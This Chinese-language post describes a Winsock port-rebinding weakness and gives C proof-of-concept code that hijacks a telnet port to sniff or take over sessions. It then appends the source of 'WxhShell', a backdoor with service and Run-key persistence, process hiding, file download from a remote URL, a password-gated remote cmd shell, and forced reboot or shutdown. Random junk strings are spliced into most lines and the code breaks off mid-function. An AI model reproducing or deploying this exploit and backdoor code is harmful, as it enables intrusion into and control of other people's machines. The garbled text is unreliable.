在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qQS&K%F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e'=#G$S?g ?3i<^@? saddr.sin_family = AF_INET;
1 -R4A7+3 3ZvQUH/{W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zP/SDW "L9pFz</ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$]?M[sL\N7 Ppx 4#j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.tK]-f2 :z$+leNH\ 这意味着什么?意味着可以进行如下的攻击:
L_!}R 7'@~TM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Ju.T.)H lH"VLO2l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
uiWo<}t}{ t,kai6UM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
lO}I>yo}\ T'N/A9{q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|1T[P)Q R]o2_r7N"} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
lnV!Xuf t /lU* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
yW i?2
7}tXF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZZ>(o
d!B 1NK,:m #include
VxU{ZD~<Z" #include
VZ2CWE)t #include
@X_)%Y-^O #include
|Lc.XxBkc DWORD WINAPI ClientThread(LPVOID lpParam);
<_4'So> int main()
$- GwNG {
'tVe#oI WORD wVersionRequested;
t<+gyAW DWORD ret;
Qaiqx"x3 WSADATA wsaData;
*bi;mQ BOOL val;
T`Xz*\}Zb SOCKADDR_IN saddr;
YO;@Tj2)x SOCKADDR_IN scaddr;
D5!I{hp" int err;
rwAycW7 SOCKET s;
?nf4K/IjZ! SOCKET sc;
z~;@Mo"*f int caddsize;
~e+pa|lO HANDLE mt;
; VQ:\fG DWORD tid;
~vfPsaRh wVersionRequested = MAKEWORD( 2, 2 );
N$cAX^~ err = WSAStartup( wVersionRequested, &wsaData );
Oq95zo if ( err != 0 ) {
a!;K+wL
> printf("error!WSAStartup failed!\n");
>< Qp%yT return -1;
F4g3l }
.L_ Hk saddr.sin_family = AF_INET;
f5.Be% }`uq:y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
z@xkE ,j> -nB.
.q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
NHzVA*f saddr.sin_port = htons(23);
&lB>G[t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gy/bA {
qn `
\g printf("error!socket failed!\n");
qvRs1yr?q return -1;
a,[NcdG }
szy2"~hm val = TRUE;
!GoHCe[10 //SO_REUSEADDR选项就是可以实现端口重绑定的
{)-3g~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ABhQ7
x| {
sQT<I]e printf("error!setsockopt failed!\n");
* YTv" return -1;
.H5^ N\V| }
A*? Qm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3:gF4(. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jft@ 'W53 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Bv}nG| 8*(|uX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
F=$U.K~1? {
Dfd%Z;Yu ret=GetLastError();
FX/f0C3CK printf("error!bind failed!\n");
e]smnf return -1;
iMp_1EXe }
<*djtO listen(s,2);
<GoZ> while(1)
nkz^^q`5l7 {
m?`$NJST caddsize = sizeof(scaddr);
p 4l B# //接受连接请求
P".rm0@R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
O4,?C)
if(sc!=INVALID_SOCKET)
*g 2N&U {
dxF)) Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2;YL+v2 if(mt==NULL)
Gv6#LcF# {
FJ O-p printf("Thread Creat Failed!\n");
BE," lX break;
^1[u'DW4 }
w'P!<JaZ }
?) VBkA5j CloseHandle(mt);
UjS,<>fm }
~a.ei^r closesocket(s);
O@,9a~Ghd WSACleanup();
e>$E67h<~ return 0;
Y/G~P,9 }
+L#Q3}=s DWORD WINAPI ClientThread(LPVOID lpParam)
9AZpvQ {
<z-+{-?z~ SOCKET ss = (SOCKET)lpParam;
b$eZ>X SOCKET sc;
]llvG\ unsigned char buf[4096];
[!b=A:@ SOCKADDR_IN saddr;
{us"=JJVN long num;
R8fB
8 ) DWORD val;
O.OSLezTQ DWORD ret;
Y
f;Slps //如果是隐藏端口应用的话,可以在此处加一些判断
UoKXo*W2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Cb;49;q saddr.sin_family = AF_INET;
1WLaJ%Fv saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5U%a$.yr saddr.sin_port = htons(23);
?h'd\.j{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*W=R:Bl! {
k>7 2W/L^ printf("error!socket failed!\n");
@#&y return -1;
p ^Dm w0y }
dO\irv) val = 100;
x<[W9Z'~?9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M\dZxhQ-l {
ffS]%qa ret = GetLastError();
@wO X</_g return -1;
h$q=NTV }
+(J{~A~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G,h=5y9_J {
E=8$*YUW(g ret = GetLastError();
2$gOe^ & return -1;
8zk?:?8%{ }
Tjza3M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
GJ4R f% {
t5jZ8&M5] printf("error!socket connect failed!\n");
8K0@*0 closesocket(sc);
m8<l2O=m closesocket(ss);
\v[?4[ return -1;
(uskVK>L }
@F0+t; while(1)
e-e*% {
a 9f%p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XKepk? E //如果是嗅探内容的话,可以再此处进行内容分析和记录
v6`TbIq% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)
v^;"q" num = recv(ss,buf,4096,0);
lq\/E`fc` if(num>0)
O%?d0K send(sc,buf,num,0);
!_My]>S else if(num==0)
r__Y{&IO break;
V50FX}i num = recv(sc,buf,4096,0);
tgB\;nbB if(num>0)
_qQB.Dzo: send(ss,buf,num,0);
JVeb$_0k else if(num==0)
BX=YS) break;
T`.RP&2/d }
yUzpl[*e^o closesocket(ss);
maR5hgWCHe closesocket(sc);
f|X./J4Bl return 0 ;
rkz_h }
ffqz
:6 3G)Wmmh"a \5s#9 ==========================================================
pv #uLo N++jI( 下边附上一个代码,,WXhSHELL
98AX=%8 TwZASn]o ==========================================================
^q=D!g ME%W,B.|"s #include "stdafx.h"
`$odxo+ '8b/TL #include <stdio.h>
A$]&j5nh| #include <string.h>
i-`n5, #include <windows.h>
"=97:H{! #include <winsock2.h>
KixS)sG #include <winsvc.h>
o|?bvFC #include <urlmon.h>
{Ex*8sU%p% 43 h0i-%1 #pragma comment (lib, "Ws2_32.lib")
Dtw1q- #pragma comment (lib, "urlmon.lib")
5VG[FY6Pl 8Vb.%f&I #define MAX_USER 100 // 最大客户端连接数
bijE]:<AE7 #define BUF_SOCK 200 // sock buffer
ufekhj #define KEY_BUFF 255 // 输入 buffer
"Wz#<! .r 8aHs I( #define REBOOT 0 // 重启
zrg#BXj7
#define SHUTDOWN 1 // 关机
`Z:5 E - s,M+Q(< #define DEF_PORT 5000 // 监听端口
oSOO5dk:z u'BuZF
#define REG_LEN 16 // 注册表键长度
&eHhj9 #define SVC_LEN 80 // NT服务名长度
gI SP . *$I5_A8,. // 从dll定义API
8- U1Y
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"X }@VT= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0*F{=X~L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
SCZ6:P"$qX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
RS>;$O_(M 5 uU.K3G7 // wxhshell配置信息
dMnJ)R struct WSCFG {
y,D4b6 int ws_port; // 监听端口
Uczb"k5 char ws_passstr[REG_LEN]; // 口令
gfPht 5 int ws_autoins; // 安装标记, 1=yes 0=no
H8g1S MT char ws_regname[REG_LEN]; // 注册表键名
Q8kdX6NMd& char ws_svcname[REG_LEN]; // 服务名
K2u$1OKv char ws_svcdisp[SVC_LEN]; // 服务显示名
nf7l}^/UE char ws_svcdesc[SVC_LEN]; // 服务描述信息
.%(Q*ioDh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_ xAL0 ( int ws_downexe; // 下载执行标记, 1=yes 0=no
Wx<fD() char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Gs% cod char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v&NC` dVR ]}~[2k. };
8U5L|Ny.q dvAvG.;U // default Wxhshell configuration
;;9W/m~] struct WSCFG wscfg={DEF_PORT,
LXIQpD,M "xuhuanlingzhe",
%ifq4'?Z 1,
4\.1phe$a "Wxhshell",
fg mIx "Wxhshell",
gdu8O!9) "WxhShell Service",
py9HUyr5eZ "Wrsky Windows CmdShell Service",
~ "^]\3# "Please Input Your Password: ",
S-^RZ" 1,
8KQ]3Z9p "
http://www.wrsky.com/wxhshell.exe",
wIv_Z^%V "Wxhshell.exe"
)L*6xTa~ };
X5| <qu SOq{`~,4B // 消息定义模块
OKo39 A\fu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yj6o533o char *msg_ws_prompt="\n\r? for help\n\r#>";
ZZ<uiN$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b#:Pl`n6u char *msg_ws_ext="\n\rExit.";
rHir>
p char *msg_ws_end="\n\rQuit.";
]ZQ3|ZJ?< char *msg_ws_boot="\n\rReboot...";
XF`,mV4 char *msg_ws_poff="\n\rShutdown...";
SA| AS< char *msg_ws_down="\n\rSave to ";
SxHj3,`#C GvL)SVv? char *msg_ws_err="\n\rErr!";
\BV$p2m5- char *msg_ws_ok="\n\rOK!";
FJ|6R( T_ z"b}V01F# char ExeFile[MAX_PATH];
Hqel1J int nUser = 0;
^r u1QDT HANDLE handles[MAX_USER];
x*G-?Xza) int OsIsNt;
.o(XnY)cgJ V'XmMn)! SERVICE_STATUS serviceStatus;
G d".zsn SERVICE_STATUS_HANDLE hServiceStatusHandle;
^ di[J^ _%M5
T // 函数声明
5Iv3B|u int Install(void);
X*'tJN$ int Uninstall(void);
mG?g int DownloadFile(char *sURL, SOCKET wsh);
7r`A6 \
! int Boot(int flag);
9t.u9C=!F void HideProc(void);
QBg~b{h int GetOsVer(void);
-'j_JJ int Wxhshell(SOCKET wsl);
:N \j@yJK void TalkWithClient(void *cs);
)%4%Uo_Xm int CmdShell(SOCKET sock);
]wH,534 int StartFromService(void);
vo9DmW int StartWxhshell(LPSTR lpCmdLine);
J33enQd =*VKp{5= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
dE<}X7J% VOID WINAPI NTServiceHandler( DWORD fdwControl );
7~2b4"& 8n.sg({g // 数据结构和表定义
As$:V<Z SERVICE_TABLE_ENTRY DispatchTable[] =
He#5d!cf:M {
V
&K:~[ M {wscfg.ws_svcname, NTServiceMain},
WOW:$.VO^ {NULL, NULL}
5'JONw'\ };
U*G8}W u&q RK>wLa // 自我安装
\`H"4r[?( int Install(void)
J}Q4.1WG$ {
3ErW3Ac Ou char svExeFile[MAX_PATH];
.AIlv^:|U HKEY key;
,_STt) strcpy(svExeFile,ExeFile);
'W!N1W@ T6gugDQ~. // 如果是win9x系统,修改注册表设为自启动
0y>]68D if(!OsIsNt) {
^BDM' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G~SgI>Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IFrq\H0 RegCloseKey(key);
::k>V\; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k<aKT?Ek> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,/d
R RegCloseKey(key);
lzJ[ `i. return 0;
>zYO1.~ }
"|{3V:e>a }
So&an ! }
I9sx*' else {
-Wp69DP6q 2~:jg1 // 如果是NT以上系统,安装为系统服务
Rgb1B3gu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/%E l0X if (schSCManager!=0)
F\' ^DtB {
tY?_#rc SC_HANDLE schService = CreateService
(8M^|z}q (
Gi7jgv{{ schSCManager,
]}4{|& e wscfg.ws_svcname,
yZ
{H wscfg.ws_svcdisp,
ds@w=~ SERVICE_ALL_ACCESS,
cY%[UK $l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4'&j<Ah[# SERVICE_AUTO_START,
<ejWl%4 SERVICE_ERROR_NORMAL,
S >E|A% svExeFile,
4>q^W $ NULL,
L@ ,-V NULL,
2_^{Vez@I NULL,
#41fRmzC NULL,
=5NM
=K NULL
WM& k );
Q
o}&2m if (schService!=0)
F[q:jY {
h'{}eYb+ CloseServiceHandle(schService);
5F@7A2ZR CloseServiceHandle(schSCManager);
P3w]PG@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'b#`)w@/= strcat(svExeFile,wscfg.ws_svcname);
O>zPWVwa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
l?>sLKo9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$"P9I-\m RegCloseKey(key);
,@+7(W return 0;
vmI2o'zi }
$=>(7 =l_ }
zzf;3S? CloseServiceHandle(schSCManager);
%bM^/7 }
yN*HIN }
j@4
yRl ^ l,FK\ return 1;
Vf:w.G A }
d/Q}I[J.u ]+1?T)<! // 自我卸载
:D-xa!7 int Uninstall(void)
nC^|83 {
,|gX?[o HKEY key;
1WGcv O)< [Z2:3*5r. if(!OsIsNt) {
zYf`o0U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yNY *Fl! RegDeleteValue(key,wscfg.ws_regname);
3"28=)o RegCloseKey(key);
gu+c7qe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OiB*,TWV RegDeleteValue(key,wscfg.ws_regname);
x+j5vzhG) RegCloseKey(key);
iI_ad7,u return 0;
_pu G?p }
Da#|}m0> }
1}#(4tw) }
7%p[n;-o& else {
w(w%~;\kLP q6Q;9 , SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!FhK<# if (schSCManager!=0)
p fj%AP: {
I!(.tu6u6c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*/gm! :Ym if (schService!=0)
S~WsGLF s {
2ql7*g?Uq@ if(DeleteService(schService)!=0) {
8'=8!V CloseServiceHandle(schService);
1jdv<\U CloseServiceHandle(schSCManager);
#u8|cs! return 0;
&1hJ?uM01 }
b .9]b CloseServiceHandle(schService);
0sjw`<ic }
pg3B^ CloseServiceHandle(schSCManager);
\~H;Wt5 }
xNG'UbU }
7
4rmxjiN 8Z;wF return 1;
vkmTd4g }
%G9:M;|' q2VQS1R`8 // 从指定url下载文件
"65@8xt== int DownloadFile(char *sURL, SOCKET wsh)
.pNPC|XU {
du2q6" HRESULT hr;
Ro+/=*ql~ char seps[]= "/";
{e,m<mAi char *token;
: 0BaEqX char *file;
@";z?xj char myURL[MAX_PATH];
fo])=KM char myFILE[MAX_PATH];
1gp3A 7p""5hw strcpy(myURL,sURL);
O@U[S.IK token=strtok(myURL,seps);
lhm=(7Y while(token!=NULL)
{Y{*(5YV {
p#}38` file=token;
\m!swYy token=strtok(NULL,seps);
Gy36{* }
} G$rr.G J-lQPMI, GetCurrentDirectory(MAX_PATH,myFILE);
4kO[|~# strcat(myFILE, "\\");
)i&9)_ro strcat(myFILE, file);
ehEXC send(wsh,myFILE,strlen(myFILE),0);
A:3bL:
;t send(wsh,"...",3,0);
dbGW`_zQ4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
y4`<$gL if(hr==S_OK)
T:Dp+m!\{ return 0;
LPbZ. else
X<s']C9c return 1;
|RQ19m@ 620y[iiK$ }
jnFCtCB X#mm
Z;P // 系统电源模块
}zVPdBRfm int Boot(int flag)
zECdj'/ {
gkUG*Zw HANDLE hToken;
CQfrAk4mu TOKEN_PRIVILEGES tkp;
{HeIY2 gkS#=bv9e@ if(OsIsNt) {
4cK6B)X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qPdNI1 | LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0 1[LPN tkp.PrivilegeCount = 1;
'j=7'aX>K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D/hQ{T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:u#Ls,OZz if(flag==REBOOT) {
H<|I&nV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BDY@&vF return 0;
l)E
\mo
8 }
-!( else {
rAD5n,M] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
VY8p[` return 0;
[wl:"rm }
ZjY_AbD }
_)Uw-vhQiT else {
zmy94Y5PE if(flag==REBOOT) {
YMP:T?vMVh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Oy[1_qfP return 0;
l(9$s4R }
aR.1&3fE else {
*!UY;InanX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
w3:WvA5jt return 0;
!mK[kXo }
hNUAwTH6 }
;nG"y:qq Ojp)OeF\ return 1;
rKq/=Avv }
hu\HK81m eA&hiAP/ // win9x进程隐藏模块
0Mt2Rg} void HideProc(void)
qie7iE`o {
WZ5[tZf k|-`d HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6cSMKbgZJ if ( hKernel != NULL )
|x["fWK {
rq9{m( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hNc;,13 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1Nw&Z0MI FreeLibrary(hKernel);
FCQoz"M }
)H$Ik)/N >b,o yM return;
0.O pgv2K }
)gV+BHK lDV8< // 获取操作系统版本
j11 \t int GetOsVer(void)
/dhx +K~ {
+GI[
Kq OSVERSIONINFO winfo;
NKLGbH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%f\{ ] GetVersionEx(&winfo);
$-"AMZ899 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
wRb%-s return 1;
wq_c^Ioy else
'T7JXV5 return 0;
Gk,{{:M:5 }
jpyV52 E!Hq%L!/ // 客户端句柄模块
ADA%$NhJ! int Wxhshell(SOCKET wsl)
O;f^'N {
F}0QocD SOCKET wsh;
'*!R
gbj; struct sockaddr_in client;
\8Mkb]QA DWORD myID;
>OE.6)'Rm "$+naY{w while(nUser<MAX_USER)
MjE.pb {
twt
Bt L int nSize=sizeof(client);
'LFHZ&- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P~_CDh.N if(wsh==INVALID_SOCKET) return 1;
)(*A1C[ 9~zh]deH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
x`PIJE if(handles[nUser]==0)
dJ?VN!B0 closesocket(wsh);
l}335;( else
I"Ji_4QV nUser++;
Q'JE DH\ }
v Q+}rHf`[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
s6Bt)8A tzi+A;>c(v return 0;
m<8j' [+ }
nen6!bw4 KU-z;}9s // 关闭 socket
cAyR)Y!I void CloseIt(SOCKET wsh)
zA&0H {
<Xp
F closesocket(wsh);
I.R3?+tZ
nUser--;
5|m|R"I*Y ExitThread(0);
qS&PMQ"$ }
.`Z{ptt> tt[P{mMQ // 客户端请求句柄
78+H|bH8 void TalkWithClient(void *cs)
Mn>dI@/gM {
T_Z@uZom. eN/sW!:P| SOCKET wsh=(SOCKET)cs;
c/;t.+g char pwd[SVC_LEN];
z$ysp! char cmd[KEY_BUFF];
"c!s\iuBU char chr[1];
2@08 V| int i,j;
f*XF"@ZQV 3mWo`l while (nUser < MAX_USER) {
dadOjl)S) :FG}k Y if(wscfg.ws_passstr) {
IS&`O=7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vlyq2>TfR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YtW#MG$f //ZeroMemory(pwd,KEY_BUFF);
P|h<|Gcp i=0;
?[RG8,B while(i<SVC_LEN) {
^+`vh0TPQ yel>-=Vn // 设置超时
v^@L?{"}8 fd_set FdRead;
1"/V?ArfL struct timeval TimeOut;
<$?:| FD_ZERO(&FdRead);
h4?+/jk7 FD_SET(wsh,&FdRead);
Z6D4VZVF TimeOut.tv_sec=8;
T:)>Tcv}: TimeOut.tv_usec=0;
u:HKmP; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7IK<9i4O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{)b`fq Jk{>*jYk` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H kg@M?( pwd
=chr[0]; H5&>Eny
if(chr[0]==0xd || chr[0]==0xa) { 7[D0n7B@
pwd=0; S<Q1
&],
break; Efp=z=E
} _'I9rGlx3
i++; _
<>+Dk&
} UBqK$2
#
3M%EK2 ,
// 如果是非法用户,关闭 socket e3S6+H),I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 46XB6z01
} +B8Ut{l
A:D\!5=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <U~P-c
tN
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d\)v62P
'h81\SKFK9
while(1) { >,] #~d
a@8knJ|
ZeroMemory(cmd,KEY_BUFF); 1Rczf (,aT
@W.`'b-
// 自动支持客户端 telnet标准 *kKGsy
j=0; spl*[ d
while(j<KEY_BUFF) { s &.Z;X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R=e`QMq
cmd[j]=chr[0]; I[4E?
if(chr[0]==0xa || chr[0]==0xd) { yBl<E$=
cmd[j]=0; kBONP^xI
break; _p_F v>>:
} }K*ri
j++; )j9FB
} ze4/XR
Fe= 4^.
// 下载文件 RU{}qPs?
if(strstr(cmd,"http://")) { NGze: gPmO
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >|iy= Zn%'
if(DownloadFile(cmd,wsh)) ;8T<L[ ^U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xS(sR x+A
else t&&OhHK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :EO}uP2
} =?f}h{8x>
else { Wt`D
w(G(Q>GI
switch(cmd[0]) { N!m%~},s//
z N
t7DK
// 帮助 <pE G8_{}
case '?': { `773& \PK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =.o-R=:d
break; q@\_q!
} )ld7^G
// 安装 3jI.!xD`
case 'i': { (8*lLZ
if(Install()) ^s?wnEo;j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JxvwquI
else va<+)b\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _4W#6!
break; bo*q{@Ue
} -?]ltn9!
// 卸载 YL.z|{\e
case 'r': { {c1qC zM4
if(Uninstall()) $e_ps~{7$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8$`:3,@
else |4c==7.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PWmz7*/
break; j~{2fd<>
} Ya_6Zd4O
// 显示 wxhshell 所在路径 MvW>ktkU
case 'p': { U;nC)'~YW9
char svExeFile[MAX_PATH]; MCCZh{uo
strcpy(svExeFile,"\n\r"); K@i*Nl
strcat(svExeFile,ExeFile); U\
L"\N 7
send(wsh,svExeFile,strlen(svExeFile),0); iWCV(!
break; |-mazvA
} 6+FON$8
// 重启 Z`*cI
case 'b': { Om^/tp\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n>4S P_[E7
if(Boot(REBOOT)) c]]F`B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Te}"t>
else { Y;w]u_
closesocket(wsh); Gw./qu-W
ExitThread(0); Z])_E6.
} _R<HC
break; Zb
2
} /Ow?nWSt
// 关机 :qbG%_PJ
case 'd': { e?YbG.(E9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V4-=Ni]k
if(Boot(SHUTDOWN)) 6+5Catsn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #SYWAcTkO}
else { lP
e$AI
closesocket(wsh); </X"*G't
ExitThread(0); 2{CSH_"Z7
} Wy4^mOv
break; K[[k,W]qb
} !7oy%{L
// 获取shell vo$66A
case 's': { [*G2wP[$
CmdShell(wsh); f*],j
closesocket(wsh); Ic}ofBK
ExitThread(0); k~#|8eLv
break; 5avO48;Vc
} 2FzS_\":I
// 退出 Q.1ohj0)
case 'x': { S:YL<_oI|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :#}`uR,D/
CloseIt(wsh); }#8uXA
break; F4Uk+|]Bu
} Elp!,(+&6
// 离开 b0X[x{k"
case 'q': { dmz3O(]$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \DqxS=o;
closesocket(wsh); _zh5KP[{
WSACleanup(); _w;+Jh
exit(1); dLf8w>i`T
break; _|ib@Xbin
} u`@f~QP0
} 3(+#^aw
} \NU[DHrMP
$0}bi:7
// 提示信息 <&:&qngg
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MjB[5:s
} j\f$r,4
} bFezTl{M
l7,qWSsnK
return; "PaGDhS
} .4> s2
1fv~r@6s
// shell模块句柄 9D{).f0
int CmdShell(SOCKET sock) io7U[ #
{ ,,@`l\Pgd
STARTUPINFO si; `HG19_Z
ZeroMemory(&si,sizeof(si)); /\cu!yiX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1:zu$|%7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~[TKVjyO
PROCESS_INFORMATION ProcessInfo; VtiqAh}4
char cmdline[]="cmd"; MuV0;K\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ok~{@\
return 0; %D(prA_w
} 8 QF?W{NK
>x
ghq
// 自身启动模式 !9xANSb
int StartFromService(void) \Z20fh2
{ w"agn}CK
typedef struct 6bKO;^0
{ Hu8atlpo
DWORD ExitStatus; J xm9@,
DWORD PebBaseAddress; C'/M/|=Q#
DWORD AffinityMask; xg,]M/J
DWORD BasePriority; t!~YO'<dS
